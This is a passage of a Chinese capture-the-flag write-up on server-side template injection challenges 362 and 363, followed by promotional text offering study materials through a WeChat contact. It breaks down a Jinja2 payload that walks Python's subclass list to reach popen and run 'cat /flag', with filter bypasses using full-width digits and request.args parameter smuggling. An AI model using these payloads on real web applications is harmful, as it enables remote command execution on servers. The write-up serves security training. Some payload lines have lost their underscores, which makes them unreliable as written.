| — |
| "".__class__.__bases__[0].__subclasses__()
|
返回一个包含Python中所有类的列表,这些类都是直接或间接从object
继承的。
4. 选择特定的子类:
"".__class__.__bases__[0].__subclasses__()[132] |
选择了列表中的第133个元素(因为索引是从0开始的)。
5. 访问Popen
类的初始化方法的全局变量:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__ |
通过访问Popen
类的__init__
方法的__globals__
属性,可以获得一个字典,其中包含Popen
类定义时可用的所有全局变量。
6. 调用popen
:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen'] |
从全局变量字典中获取名为popen
的变量
7. 执行系统命令:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag') |
使用Popen
类来执行cat /flag
命令,这个命令通常用于读取名为flag
的文件。
8. 读取命令输出:
调用read()
方法来读取Popen
对象的输出,即cat /flag
命令的输出。
payload
“”.class.bases[0].subclasses()[132].init.globals[‘popen’](‘cat /flag’).read()
362
传参试试
轮流试试每个数字,发现只有2和3被过滤
而且只要字符串不包括2和3就能显示
使用全角数字进行绕过
关闭使用半角输入模式
“1234567890”
payload:
?name={{“”.class.bases[0].subclasses()[132].init.globals[‘popen’](‘cat /flag’).read()}}
363
数字没有被过滤掉
经过各种字母和符号尝试,发现会过滤“”
试试把“”进行url编码看看
还是会被过滤
但是传参会自动补齐双引号,所以索性不加了
?name={{x.init.globals[request.args.a].eval(request.args.b)}}&a=builtins&b=import(‘os’).popen(‘cat /flag’).read()
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
g#pic_center)
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-CbIvyw7L-1712651262945)]